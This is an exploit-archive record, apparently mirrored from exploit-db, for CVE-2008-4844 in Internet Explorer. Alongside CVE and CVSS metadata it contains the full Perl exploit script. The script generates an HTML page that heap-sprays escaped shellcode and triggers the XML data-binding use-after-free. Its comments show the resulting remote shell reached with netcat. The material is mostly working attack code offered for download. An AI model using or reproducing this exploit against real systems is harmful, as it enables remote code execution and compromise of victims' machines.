{"exploit":{"id":"EDB-7583","name":"Microsoft Internet Explorer - XML Parsing Buffer Overflow (2)","description":"Microsoft Internet Explorer - XML Parsing Buffer Overflow (2)","cves":["CVE-2008-4844"],"author":"Jeremy Brown","published":"2008-12-28","platform":"windows","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7583","path":"exploits/windows/remote/7583.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7583.pl","vulnerabilities":[{"id":"CVE-2008-4844","state":"PUBLISHED","title":null,"titleSource":null,"description":"Use-after-free vulnerability in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4844","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4844"},"updatedAt":"2024-08-07T10:31:27.906Z","retrievedAt":"2026-11-26T13:33:26.831Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7583.png?v=2","url":"https://exploitbin.com/exploits/EDB-7583","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7583/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7583/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# msie_xmlbof_vista.pl\n# Microsoft Internet Explorer XML Buffer Overflow Exploit\n# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]\n#\n# I wanted a reliable shell, so I figured I'd whip up something nice for IE7+Vista\n# Only the first hundred calculators popping up on the screen is hilarious\n# Core/Concepts from other available exploits... Yeah, thanks skylined/krafy/muts\n#\n# bash$ perl msie_xmlbof_vista.pl\n# Usage: msie_xmlbof_vista.pl <filename.html>\n# bash$ perl msie_xmlbof_vista.pl /var/www/msie_xmlbof_vista.html\n#\n# *** Launching IE7 on Vista SP1 with URL: http://192.168.100.105/msie_xmlbof_vista.html ***\n#\n# bash$ nc 192.168.100.118 30702\n# Microsoft Windows [Version 6.0.6001]\n# Copyright (c) 2006 Microsoft Corporation.  All rights reserved.\n#\n# C:\\Users\\vista\\Desktop>\n#\n# Enjoy :)\n\n$filename = $ARGV[0];\nif(!defined($filename))\n{\n\n     print \"Usage: $0 <filename.html>\\n\";\n\n}\n\n$exploit = '<html>' . \"\\n\" . '<div id=\"msie_xmlbof_vista\">x</div>' . '<script>' . \"\\n\\n\" .\n\t   'var shellcode = unescape(\"%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b\" + ' . \"\\n\" .\n\t   '                         \"%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac\" + '  . \"\\n\" .\n\t   '                         \"%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b\" + ' . \"\\n\" .\n\t   '                         \"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040\" + ' . \"\\n\" .\n\t   '                         \"%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233\" + ' . \"\\n\" .\n\t   '                         \"%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89\" + ' . \"\\n\" .\n\t   '                         \"%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab\" + ' . \"\\n\" .\n\t   '                         \"%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934\" + ' . \"\\n\" .\n\t   '                         \"%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%uee77%uccfe%u8950\" + ' . \"\\n\" .\n\t   '                         \"%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650\" + ' . \"\\n\" .\n\t   '                         \"%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347\" + ' . \"\\n\" .\n\t   '                         \"%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1\" + ' . \"\\n\" .\n\t   '                         \"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353\" + ' . \"\\n\" .\n\t   '                         \"%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b\" + ' . \"\\n\" .\n\t   '                         \"%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048\" +'  . \"\\n\" .\n\t   '                         \"%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0\" + ' . \"\\n\" .\n\t   '                         \"%ufec2%uffff%uc483%u615c%u89eb\");' . \"\\n\\n\" . 'var block = unescape(\"%u0D0D%u0D0D\");' . \"\\n\\n\" .\n\t   'while (block.length < 100000) block += block;' . \"\\n\" . 'var memory = new Array();' . \"\\n\" . 'for (i = 0;i < 1000;i++) memory[i] += block + shellcode;' . \"\\n\\n\" .\n\t   'xmlrox = \"<XML id=microosuck><ie><vista><![CDATA[<img src=http://&#x0a0a;&#x0a0a;.microo.suck>]]></vista></ie></XML><SPAN datasrc=#microosuck datafld=vista dataformatas=html>' .\n\t   '<XML id=microosuck></XML><SPAN datasrc=#microosuck datafld=vista dataformatas=html></SPAN></SPAN>\";' . \"\\n\\n\" . 'mssox           = document.getElementById(\"msie_xmlbof_vista\");' .\n\t   \"\\n\" . 'mssox.innerHTML = xmlrox;' . \"\\n\\n\" . '</script>' . \"\\n\" . '</html>';\n\n     open(FILE, '>' . $filename);\n     print FILE $exploit;\n     close(FILE);\n\nexit;\n\n# milw0rm.com [2008-12-28]","sha256":"8430b7bc6c7dd7e4f04cc0eb0fe54f93243e2726019c38e1f2657c4e1697f12f","bytes":3567,"fetchedAt":"2026-11-27T06:07:49.325Z","encoding":"utf-8 (display only; download retains original bytes)"}